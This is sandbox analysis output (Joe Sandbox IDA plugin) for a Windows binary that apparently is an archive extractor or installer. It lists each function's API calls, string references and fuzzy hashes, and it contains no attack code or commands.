Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: DloadSection$AccessWrite$ExceptionProtectRaiseRelease$AcquireErrorLastLibraryLoad
String ID: H
API String ID: 282135826-2852464175
Opcode ID: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction ID: afc327cad511ee486d2fe3b064b5eb733d2c635d199b118f585395e86eed1889
Opcode Fuzzy Hash: 1ba3ac7ad01aad9b5bbf5288423d8bdca45e536d0fe216ed71dd1fdc31554d99
Instruction Fuzzy Hash: 77918C26A15B558AFB00EF69DC506ADB3A5BB2DB88B844075DF0D1774CEF39E448C720

Function 00007FF7B67C9CDC Relevance: 25.2, APIs: 3, Strings: 11, Instructions: 702COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C9254: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67C9389

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67CA375
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CA82F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CA835

Part of subcall function 00007FF7B67D033C: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B67C9CBA), ref: 00007FF7B67D0369

Strings

,, xrefs: 00007FF7B67CA3AA
DIALOG, xrefs: 00007FF7B67CA1CD
*messages***, xrefs: 00007FF7B67CA004
$%s:, xrefs: 00007FF7B67CA350
MENU, xrefs: 00007FF7B67CA1D9
RTL, xrefs: 00007FF7B67CA32E
, xrefs: 00007FF7B67CA1F9
DIRECTION, xrefs: 00007FF7B67CA1E5
STRINGS, xrefs: 00007FF7B67CA1C1
@%s:, xrefs: 00007FF7B67CA357
*messages***, xrefs: 00007FF7B67C9FC6

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ByteCharConcurrency::cancel_current_taskMultiWide_snwprintf
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS
API String ID: 3629253777-3268106645
Opcode ID: bc3a5ee78fbaa76f4af93f4a701325745fc88e837cb9cdcc2bb8fb066f38e806
Instruction ID: c79066902544d88f3ce4581645804537931624dc478b13e64bb7e83e48cbd4e6
Opcode Fuzzy Hash: bc3a5ee78fbaa76f4af93f4a701325745fc88e837cb9cdcc2bb8fb066f38e806
Instruction Fuzzy Hash: 7A62D322A19A8285EB10EB2CD8645BFA365FB6A794FC04171DB0D476DDEF3CE544C360

Function 00007FF7B67E3030 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF7B67E3297
IsWindowVisible.USER32 ref: 00007FF7B67E32C7
ShowWindow.USER32 ref: 00007FF7B67E32D6
WaitForInputIdle.USER32 ref: 00007FF7B67E32E7
GetExitCodeProcess.KERNEL32 ref: 00007FF7B67E330D
CloseHandle.KERNEL32 ref: 00007FF7B67E3337
ShowWindow.USER32 ref: 00007FF7B67E338F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E344B

Strings

Install, xrefs: 00007FF7B67E31D4
.inf, xrefs: 00007FF7B67E31C5
p, xrefs: 00007FF7B67E3079
.exe, xrefs: 00007FF7B67E3342

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 148627002-3607691742
Opcode ID: 9d1285d3d60208991972474c93fd968f3c78a45016db7f3b564ddd0e8020b214
Instruction ID: 3bf09037b12c22980ca269a3d0cd31d2db826660ab2d56c756509acce318a65d
Opcode Fuzzy Hash: 9d1285d3d60208991972474c93fd968f3c78a45016db7f3b564ddd0e8020b214
Instruction Fuzzy Hash: 21C1A465F18A4186FB10EB69DD6027BA3B5AFAE790F844075CB4D436ACDF3CE4598320

Function 00007FF7B67E2BF4 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B67DE96C: PeekMessageW.USER32 ref: 00007FF7B67DE982
Part of subcall function 00007FF7B67DE96C: GetMessageW.USER32 ref: 00007FF7B67DE999
Part of subcall function 00007FF7B67DE96C: IsDialogMessageW.USER32 ref: 00007FF7B67DE9B0
Part of subcall function 00007FF7B67DE96C: TranslateMessage.USER32 ref: 00007FF7B67DE9BF
Part of subcall function 00007FF7B67DE96C: DispatchMessageW.USER32 ref: 00007FF7B67DE9CA

GetDlgItem.USER32 ref: 00007FF7B67E2C33
ShowWindow.USER32 ref: 00007FF7B67E2C59
SendMessageW.USER32 ref: 00007FF7B67E2C6E
SendMessageW.USER32 ref: 00007FF7B67E2C86
SendMessageW.USER32 ref: 00007FF7B67E2CA7
SendMessageW.USER32 ref: 00007FF7B67E2CC3
SendMessageW.USER32 ref: 00007FF7B67E2D06
SendMessageW.USER32 ref: 00007FF7B67E2D24
SendMessageW.USER32 ref: 00007FF7B67E2D38
SendMessageW.USER32 ref: 00007FF7B67E2D62
SendMessageW.USER32 ref: 00007FF7B67E2D7A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID:
API String ID: 3569833718-0
Opcode ID: 6763192ddb5e5e657e4554a28dfd6506e17538323eb7aa5c2a47039c1bafdecd
Instruction ID: d80d388ff49457c5bb504df65b4dda1c7bc9e97f2b3ca842b5e9aecffb283307
Opcode Fuzzy Hash: 6763192ddb5e5e657e4554a28dfd6506e17538323eb7aa5c2a47039c1bafdecd
Instruction Fuzzy Hash: 9741BF75B1468286F710AF69EC10BAB6361FB5AB98F804171DF0E07BA8CE3DD459C720

Function 00007FF7B67D218C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7B67D2197

Strings

z01, xrefs: 00007FF7B67D2E00
zip, xrefs: 00007FF7B67D2F37
zx01, xrefs: 00007FF7B67D2DF9
map/set too long, xrefs: 00007FF7B67D2190
zipx, xrefs: 00007FF7B67D2F30
AES-0017, xrefs: 00007FF7B67D2803

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: AES-0017$map/set too long$z01$zip$zipx$zx01
API String ID: 909987262-704999473
Opcode ID: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction ID: afd8c8e55057a3f59a5b26673e1de6b708faa4072219fe934500e10b5d4efece
Opcode Fuzzy Hash: 279821ddad5ca0a3171316fe86be340fa28ecb032434c2a7f18e4b4bd5f06c06
Instruction Fuzzy Hash: 58B0121C90814EC0E02CB7988C650664314CF3D700FD00C70C31C4FC590D38705A4213

Function 00007FF7B67C46A0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF7B67C477B
GetLastError.KERNEL32 ref: 00007FF7B67C478E
CreateFileW.KERNEL32 ref: 00007FF7B67C47EE
GetLastError.KERNEL32 ref: 00007FF7B67C47F7
SetFileTime.KERNEL32 ref: 00007FF7B67C48A9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C4916

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: f2a95c046f384fb88cb42bad2343db76857be23356c2a59daf525ee97aa7854a
Instruction ID: fd25bc18391b85c6b09907a8510d64d3bf54967540d6df55ec51d3783c9dcd88
Opcode Fuzzy Hash: f2a95c046f384fb88cb42bad2343db76857be23356c2a59daf525ee97aa7854a
Instruction Fuzzy Hash: BD61E466A1878185E7209B2DE91076EA7A1B7AA7B8F600334DF6903ADCCF3DC0588754

Function 00007FF7B67CE7C0 Relevance: 9.1, APIs: 6, Instructions: 80
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF7B67CE824

Part of subcall function 00007FF7B67C6768: GetVersionExW.KERNEL32 ref: 00007FF7B67C6799

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7B67CE846
FileTimeToSystemTime.KERNEL32 ref: 00007FF7B67CE852
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF7B67CE862
SystemTimeToFileTime.KERNEL32 ref: 00007FF7B67CE870
SystemTimeToFileTime.KERNEL32 ref: 00007FF7B67CE87E

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction ID: bf69155f44ac9eceb0518abdf6f560a1889b7faa47691ffdf9d42eaf954dc443
Opcode Fuzzy Hash: 7415bec7d798ad501b197d19bbfbfb4fb824aa0f8bac73e46940edbbb5db9b65
Instruction Fuzzy Hash: F2315962B10651CEFB00DFB9D8905AD7770FB28B58B94502AEF0DA3A58EF38D895C710

Function 00007FF7B67DEB64 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadBitmapW.USER32 ref: 00007FF7B67DEB7A
GetObjectW.GDI32 ref: 00007FF7B67DEBAB
DeleteObject.GDI32 ref: 00007FF7B67DEBE5
DeleteObject.GDI32 ref: 00007FF7B67DEC15

Part of subcall function 00007FF7B67DC260: FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC279
Part of subcall function 00007FF7B67DC260: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC295
Part of subcall function 00007FF7B67DC260: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC2AF
Part of subcall function 00007FF7B67DC260: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC2C1
Part of subcall function 00007FF7B67DC260: GlobalAlloc.KERNEL32 ref: 00007FF7B67DC2E2
Part of subcall function 00007FF7B67DC260: GlobalLock.KERNEL32 ref: 00007FF7B67DC2F7
Part of subcall function 00007FF7B67DC260: CreateStreamOnHGlobal.COMBASE ref: 00007FF7B67DC324
Part of subcall function 00007FF7B67DC260: GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7B67DC3A5
Part of subcall function 00007FF7B67DC260: GlobalUnlock.KERNEL32 ref: 00007FF7B67DC3C8
Part of subcall function 00007FF7B67DC260: GlobalFree.KERNEL32 ref: 00007FF7B67DC3D1

Strings

], xrefs: 00007FF7B67DEBB3

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction ID: bbc9ced6c41b23fe3e0be258b0f1bb989b8019ce08f1f506f9cc54c772d28b5c
Opcode Fuzzy Hash: 4bf2bc35f3b21ea03de476389abc0e83db34e9447328c44d88c742213a9449e8
Instruction Fuzzy Hash: E8118790B0D74681EA11BB599E6467BE292AF5EFC0F8804B4DB4D07B8DDF2CF4048620

Function 00007FF7B67E3928 Relevance: 7.5, APIs: 5, Instructions: 29
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF7B67E3945
GetMessageW.USER32 ref: 00007FF7B67E395C
TranslateMessage.USER32 ref: 00007FF7B67E3967
DispatchMessageW.USER32 ref: 00007FF7B67E3972
WaitForSingleObject.KERNEL32 ref: 00007FF7B67E3980

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction ID: ce3a649e2d2be16c45f5e0b2178996c40526848793635a31ef3149f61c2bd9c7
Opcode Fuzzy Hash: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction Fuzzy Hash: 9DF04FA6B2845283F750A728EC65F7BA211EFBAB05FC41070D74E418989F3CD099CB20

Function 00007FF7B67DE96C Relevance: 7.5, APIs: 5, Instructions: 27
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32 ref: 00007FF7B67DE982
GetMessageW.USER32 ref: 00007FF7B67DE999
IsDialogMessageW.USER32 ref: 00007FF7B67DE9B0
TranslateMessage.USER32 ref: 00007FF7B67DE9BF
DispatchMessageW.USER32 ref: 00007FF7B67DE9CA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction ID: b99556f31544973a957978aa2e7680f5984220b86503e8237194bc35cf5f369c
Opcode Fuzzy Hash: e45bfd896b69646a0b5eeb10867a712a562e5ff66da3ebe7d8c5d592be84918c
Instruction Fuzzy Hash: 89F031A6A3855282EB51AB68EC55B37A352FFA5B05FC05471E74E41858DF2CD118C710

Function 00007FF7B67D53BC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D568F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D5695

Part of subcall function 00007FF7B67C6288: FindClose.KERNEL32(?,?,?,00007FF7B67CFFA5), ref: 00007FF7B67C62BD

Part of subcall function 00007FF7B67D1DD0: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67D1E25

Strings

zip, xrefs: 00007FF7B67D54C3
zipx, xrefs: 00007FF7B67D54BC

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFindswprintf
String ID: zip$zipx
API String ID: 2713956076-1268445101
Opcode ID: 11b58d7c506856407a212151e573a082c08dd2395f3e4c8952c69a07d2e47576
Instruction ID: afb026e9f3979774223f3504a3ad84b550bf2d591457e3b3da0941dd375817ff
Opcode Fuzzy Hash: 11b58d7c506856407a212151e573a082c08dd2395f3e4c8952c69a07d2e47576
Instruction Fuzzy Hash: 9F81B561F08A4285FA00EB6DDC505BEA362AF6AB94FD006B5DF1D1369DEE3CD455C320

Function 00007FF7B67D76F8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C6288: FindClose.KERNEL32(?,?,?,00007FF7B67CFFA5), ref: 00007FF7B67C62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D79DB

Strings

5), xrefs: 00007FF7B67D7813
~(, xrefs: 00007FF7B67D786E, 00007FF7B67D78D5, 00007FF7B67D7923
5), xrefs: 00007FF7B67D7821

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CloseFind_invalid_parameter_noinfo_noreturn
String ID: 5)$5)$~(
API String ID: 1011579015-2568748320
Opcode ID: a3cf227397e3c823662343c1f696090c2b7b02880e39300e0e19234150b4bb72
Instruction ID: 604e8f9d9bfdacfea0d4bd712e45a096247f8c6739f2a7a207e75a86cf625006
Opcode Fuzzy Hash: a3cf227397e3c823662343c1f696090c2b7b02880e39300e0e19234150b4bb72
Instruction Fuzzy Hash: 02816FA2E0C74385FA50BB1DEC6037BA392AF6A750FD409B5DB6C4229DDE7CE4548360

Function 00007FF7B67DCE24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF7B67DCE4D
SHAutoComplete.SHLWAPI ref: 00007FF7B67DCE91

Part of subcall function 00007FF7B67D0AA0: CompareStringW.KERNEL32(?,?,00007FF7B67C6C19), ref: 00007FF7B67D0ABF

FindWindowExW.USER32 ref: 00007FF7B67DCE7B

Strings

EDIT, xrefs: 00007FF7B67DCE57, 00007FF7B67DCE6F

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction ID: 710907eadde60f2cfb478cf35d36ae23522663e4b97eaef55a0310860f890f98
Opcode Fuzzy Hash: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction Fuzzy Hash: 38016291B0868681FA20BB29EC35777A395AFBE740FC414B1CB4D46658DE2CE058C720

Function 00007FF7B67C4E18 Relevance: 6.1, APIs: 4, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7B67C4E5A
WriteFile.KERNEL32 ref: 00007FF7B67C4EA4
WriteFile.KERNEL32 ref: 00007FF7B67C4ED2

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 407f625d59d604b924eb6a4f57d6f6a75d77dcc3e5834d4536d90adbb701eae7
Instruction ID: a3da7475ba7657e37406f0a4df42004a8b5ba1b1a530207d9cbe664fe274ffa8
Opcode Fuzzy Hash: 407f625d59d604b924eb6a4f57d6f6a75d77dcc3e5834d4536d90adbb701eae7
Instruction Fuzzy Hash: 4B510623B1864692EA10EB2CDD2477BA360BF6ABA4F944171EB0D02A9CDF7CE445C710

Function 00007FF7B67D0120 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF7B67E3E0E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E3E79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E3E7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E3E85

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
